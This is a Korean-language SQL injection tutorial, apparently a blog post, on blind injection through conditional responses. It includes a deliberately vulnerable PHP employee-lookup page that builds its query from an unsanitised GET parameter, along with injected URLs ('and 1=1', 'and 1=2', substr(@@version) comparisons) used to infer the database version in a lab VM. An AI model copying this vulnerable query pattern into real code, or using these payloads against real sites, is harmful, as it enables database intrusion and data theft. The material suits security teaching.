[SQL Injection] 블라인드 기법 : 조건부 응답 ( Conditional Responses)

 블라인드 기법 : 조건부 응답 ( Conditional Responses)



블라인드 방식으로 취약점 여부를 확인하는 방법은 참/거짓 명제를 주입하여 테스트 하는 방법이 일반적입니다 . 

참/거짓 명제에 대해서 알아보면 SQL 공격 쿼리에 "and 1=1" 또는 "or 1=1"과 같은 조건식을 주입하는 방식입니다 . 


"and 1=1"연산자는  where 절에 주입된 위치의 명제가 앞의 조건식에 따라서 참 또는 거짓이라는 의미가 됩니다

"or 1=1" 연산자는 앞의 조건식에 무관하게 모두 참이라는 의미로 사용 됩니다 .
거짓 명제를 알아보면 "and 1=2" 를 주입하면 앞의 명제는 무조건 거짓이라는 의미가 부여되며, "or 1=2"를 주입하면 앞의 조건에 따라서 참 또는 거짓 명제가 됩니다 . 



Error 기반에서 사용한 예제를 다음과 같이 수정하여 명제를 실습 해보겠습니다 . 


SQL 공격 쿼리에서 UNION 명령어를 사용할 수 없도록 수정합니다 . 
DB의 상세 에러를 출력해 주는 mysql_Error(); 출력코드를 주석 처리하여 상세 에러가 노출 되지 않도록 소스코드를 수정합니다 . 

empinfo_id_blind
<?php

if (!$link = mysql_connect('localhost', 'root', 'root')) {
    echo 'Could not connect to mysql';
    exit;
}

if (!mysql_select_db('northwind', $link)) {
    echo 'Could not select database';
    exit;
}

$_empid  = $_GET['empid'];
$sql    = 'SELECT * FROM Employees WHERE EmployeeID=' . $_empid;
$result = mysql_query($sql, $link);

if(strpos(strtolower($_empid), "union")==FALSE) $result = mysql_query($sql, $link);

if (!$result) {
    echo "DB Error, could not query the database\n";
    echo 'MySQL Error: ' . mysql_error();
    exit;
}

print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td>Employee ID</td><td>First Name</td><td>Title</td>
<td>Hire Date</td>\n\t</tr>";

while ($row = mysql_fetch_assoc($result)) {
    print "\t<tr>\n\t\t<td>" . $row['EmployeeID'] . "</td><td>" .
$row['FirstName'] . "</td><td>" . $row['Title'] . "</td><td>" .
$row['HireDate'] . "</td>\n\t</tr>\n";
}
print "</table>\n";

mysql_free_result($result);
?>
 
기존 empinfo_id에 다음 구문을 추가한 소스 코드 입니다 . 
if(strpos(strtolower($_empid), "union")==FALSE) $result = mysql_query($sql, $link);




코드를 수정하고 페이지로 접속합니다 . 

http://<가상머신주소>/empinfo_id_blind.php?empid=1














UNION / ERROR기반 공격에 취약점 확인


Error 기반 ( ' 삽입)











사용자 정의 에러 페이지가 노출 되었습니다 . 


UNION 기반











위의 두 공격은 불가능하다는것을 알 수 있습니다 . 


참/거짓 명제

참인 명제를 먼저 주입해 보겠습니다 . 

http://가상머신주소/empinfo_id_blind.php?empid=1+and+1=1--+

 







첫 번쨰 직원 정보가 조회되었습니다 . 다음은 거짓 명제를 주입해 보겠습니다 . 


http://가상머신주소/empinfo_id_blind.php?empid=1+and+1=2--+





조회된 직원 정보가 없습니다 . 
두가지 명제 테스트 결과 서로 다른 결과가 출력됩니다 . 
명제에 따라 응답 콘텐츠가 상이하기 때문에 조건부 응답이라고 합니다 . 


mysql 버전 참/거짓 판단하기












버전이 5.5.68. 버전이라는 것을 알 수 있으며 버전정보를 블라인드 방식인 참/거짓 명제로 확인하면 다음과 같습니다 . 

http://가상머신주소/empinfo_id_blind.php?empid=1+and+substr(@@version,1,1)=1--+









해당 명제는 거짓결과가 출력되었습니다. 

실제 버전은 5 버전이며 해당 명제는 5=1인지 판단하는 것입니다 . 

비교문에 5를 입력한다면 참인 응답이 표시됩니다 . 


http://가상머신주소/empinfo_id_blind.php?empid=1+and+substr(@@version,1,1)=5--+




댓글